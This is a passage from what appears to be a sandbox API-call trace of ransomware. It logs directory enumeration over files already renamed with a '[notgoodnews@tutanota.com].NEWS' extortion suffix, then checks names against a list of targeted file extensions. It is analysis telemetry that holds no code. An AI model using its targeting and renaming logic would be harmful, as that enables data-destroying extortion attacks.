ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395c9cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.478] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399ac4e4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.478] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.478] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.478] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.479] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0157.479] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.479] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4843d8 [0157.482] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.482] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395f40e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395f40e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.482] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39616154, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.482] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.482] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.482] FindClose (in: hFindFile=0x4843d8 | out: hFindFile=0x4843d8) returned 1 [0157.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.483] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0157.483] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.483] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.485] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.485] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399f8ee4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.485] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3963c272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3963c272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3963c272, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.485] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.485] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.485] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.486] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0157.486] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484318 [0157.488] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.488] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396625d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396625d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396625d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.488] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39688810, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.488] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.488] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.488] FindClose (in: hFindFile=0x484318 | out: hFindFile=0x484318) returned 1 [0157.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.489] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0157.489] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.489] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484758 [0157.491] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.491] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396faf02, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.491] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396faf02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396faf02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.491] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.491] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.491] FindClose (in: hFindFile=0x484758 | out: hFindFile=0x484758) returned 1 [0157.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.492] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0157.492] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.492] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.531] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.531] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x397211de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x397211de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.531] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.533] lstrlenW (lpString=".1cd") returned 4 [0157.533] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.533] lstrlenW (lpString=".3ds") returned 4 [0157.533] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.533] lstrlenW (lpString=".3fr") returned 4 [0157.533] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.533] lstrlenW (lpString=".3g2") returned 4 [0157.533] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.533] lstrlenW (lpString=".3gp") returned 4 [0157.540] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.540] lstrlenW (lpString=".7z") returned 3 [0157.541] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.541] lstrlenW (lpString=".accda") returned 6 [0157.541] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.541] lstrlenW (lpString=".accdb") returned 6 [0157.541] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.566] lstrlenW (lpString=".accdc") returned 6 [0157.566] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.566] lstrlenW (lpString=".accde") returned 6 [0157.566] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.566] lstrlenW (lpString=".accdt") returned 6 [0157.566] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.567] lstrlenW (lpString=".accdw") returned 6 [0157.567] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.567] lstrlenW (lpString=".adb") returned 4 [0157.567] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".adp") returned 4 [0157.567] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai") returned 3 [0157.567] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.567] lstrlenW (lpString=".ai3") returned 4 [0157.567] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai4") returned 4 [0157.567] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai5") returned 4 [0157.567] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai6") returned 4 [0157.567] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai7") returned 4 [0157.567] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.567] lstrlenW (lpString=".ai8") returned 4 [0157.567] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".anim") returned 5 [0157.568] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.568] lstrlenW (lpString=".arw") returned 4 [0157.568] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".as") returned 3 [0157.568] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.568] lstrlenW (lpString=".asa") returned 4 [0157.568] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".asc") returned 4 [0157.568] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".ascx") returned 5 [0157.568] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.568] lstrlenW (lpString=".asm") returned 4 [0157.568] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".asmx") returned 5 [0157.568] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.568] lstrlenW (lpString=".asp") returned 4 [0157.568] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".aspx") returned 5 [0157.568] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.568] lstrlenW (lpString=".asr") returned 4 [0157.568] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".asx") returned 4 [0157.568] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.568] lstrlenW (lpString=".avi") returned 4 [0157.568] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.568] 